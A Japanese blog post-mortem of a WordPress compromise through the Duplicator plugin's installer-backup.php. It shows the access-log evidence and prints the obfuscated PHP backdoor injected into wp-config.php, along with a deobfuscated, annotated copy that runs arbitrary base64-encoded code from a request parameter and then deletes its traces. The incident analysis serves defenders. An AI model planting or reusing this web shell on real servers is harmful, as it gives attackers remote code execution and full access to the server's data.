どうも @koshi_life です。
WordPressのJSが改竄された話。情報モトム => おかげさまで解決。
の記事公開直後に情報提供をいただき公開から半日もかからずに、
攻撃手法を特定することができ、必要な対策を講じることができました。
まえがき
今回のインシデント対応はそもそも利用しているソフトウェアに関する
脆弱性情報をウォッチ/管理できていなかったことが大きな問題だと受け止めています。
再発防止策検討中です。
実際に当事者としてセキリティホールを突かれ、対応コストを払った痛みを知ったことで
改めてセキュリティ対策の重要性を今まで以上に強く認識させられました。
この記事では、実際に攻撃された手法を共有することで、セキュリティホールの怖さを伝え、
同じような被害に合わないよう1人でもセキュリティ意識を高めることに寄与できたら幸いです。
※ 攻撃で使用されたサーバに残留していたソースを公開していますが、悪用は「ダメ。ゼッタイ。」でお願いします。
- 攻撃手法の特定までにやるべきだったこと、やったこと
- 晒されたリスク
についてまとめます。
攻撃手法の特定までにやったこと/やるべきだったこと
STEP1: 事象に関連する利用中のソフトウェアから脆弱性情報を調べて、当たりをつける
無作為にログを見るより、ある程度臭そうな脆弱性に当たりをつけられると確認効率が良いと思うので。以下、参考になりました。(私はこの辺の知識がなかったのでQiitaに情報提供を求めましたが、次回のインシデント対応と遭遇した際はできる範囲で調べます。)
- セキュリティサイトまとめ 主要な脆弱性の検索サイトが紹介されています。
- WPScan Vulnerability Database WordPressに特化した脆弱性が検索できるサイト
STE2: 当たりをつけた脆弱性を手がかりにログを確認を通して仮説検証を進める
duplicator のプラグインの脆弱性かも?という情報をいただいたので、公開されている情報 (英語ソース) から攻撃手法を理解します。
今回のケースは、外から特定のPHPファイル installer.php
or installer-backup.php
へのリクエストが起因とのことなので、発覚時刻周辺のログに対して grep しました。(ログは退避してローカル作業)
$ cat access.log-20190220 | grep installer
10.0.0.208 - - [20/Feb/2019:02:59:53 +0900] "POST /installer-backup.php HTTP/1.1" 200 517 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
installer-backup.php
にPOSTリクエストがありました。
攻撃手法によるとこのPOSTリクエストで生成された wp-config.php
にPHPコードがインジェクションされているとのことだったので、wp-config.php
を確認します。
// ...抜粋...
// ** MySQL settings ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dbname' );
/** MySQL database username */
define( 'DB_USER', '');?><?php $a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110);$c = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$d = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$f = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);$b = $f.$d($_REQUEST[chr(100).chr(49)]);@array_diff_ukey(@array((string)($a) => 1), @array((string)($b) => 2), $c);@include($a);@unlink($a); die(); /*' );
// ...抜粋...
むむむ、
define( 'DB_USER', '');?><?php $a = chr(95).chr(116)...
見覚えのない、chr関数で難読化されてる、とっても怪しいコードが。。
このインジェクションされているPHPコードを整形して、意訳コメントを入れたのが以下です。
<?php
//string(13) "_templocation"
$a = chr(95) . chr(116) . chr(101) . chr(109) . chr(112) . chr(108) .
chr(111) . chr(99) . chr(97) . chr(116) . chr(105) . chr(111) . chr(110);
//string(17) "file_put_contents"
$c = chr(102) . chr(105) . chr(108) . chr(101) . chr(95) . chr(112) . chr(117) . chr(116) . chr(95) . chr(99) . chr(111) . chr(110) . chr(116) . chr(101) . chr(110) . chr(116) . chr(115);
//string(13) "base64_decode"
$d = chr(98) . chr(97) . chr(115) . chr(101) . chr(54) . chr(52) . chr(95) . chr(100) . chr(101) . chr(99) . chr(111) . chr(100) . chr(101);
//string(6) "<?php "
$f = chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32);
// $b は リクエストパラメータd1をbase64デコードした値
$b = $f . $d($_REQUEST[chr(100) . chr(49) ]);
// file_put_contents('_templocation', <任意でパラメータでセットできる文字列>) と同意
// ( _templocation という任意のファイル内容で作成するという内容)
@array_diff_ukey(@array(
(string)($a) => 1
) , @array(
(string)($b) => 2
) , $c);
// 作成した _templocation ファイルを PHP コードとして実行
@include ($a);
// 作成した _templocation ファイルを 削除して証拠隠滅。
@unlink($a);
die();
これを読み解いた時、ゾッとしました。。
任意のPHPコードをbase64エンコードしてリクエストパラメータで投げつければ、
どこからでも好きなPHPコードをサーバ側で実行できてしまう状態です。
つまり、このサーバからアクセス可能な情報全てにアクセスし放題という状態です。
晒されたリスク
- nginxユーザで読み取り可能なサーバ資材へのアクセスし放題
- nginxユーザで書き込み可能なサーバ資材へのアクセスし放題(改竄)
- DB アクセスし放題(読み書き)
- 一部AWSリソースへアクセスし放題 (EC2ロールで S3/SES のフルアクセスの権限を付与してた)
ゾッとしました。。(2回目)
アクセスログを確認したところ、怪しいリクエストはたくさんあったが、
どんなPHPコードを実行されたかは、リクエストボディのログを取っていないのわかりませんでした。
不幸中の幸いで、センシティブな情報は扱っていないため、情報漏えいはありませんでした。
サーバ資材、DB状態は汚染前の状態に戻しました。S3のリソースもボリュームが多いですが、順次点検を進めております。
JSの2段階リダイレクト攻撃以外に、システム破壊、AWSへの過多な請求は確認できておりません。
あとがき
今回のインシデント対応で、セキュリティホールの怖さ、インシデント発生時のコストを身をもって体験しました。。
後日、今回のインシデント事象を教訓として、対策できることをまとめる予定です。
(2019/03/16 更新)
続編書きました。
WordPressのJSが改竄された話。その3「再発防止編」(終)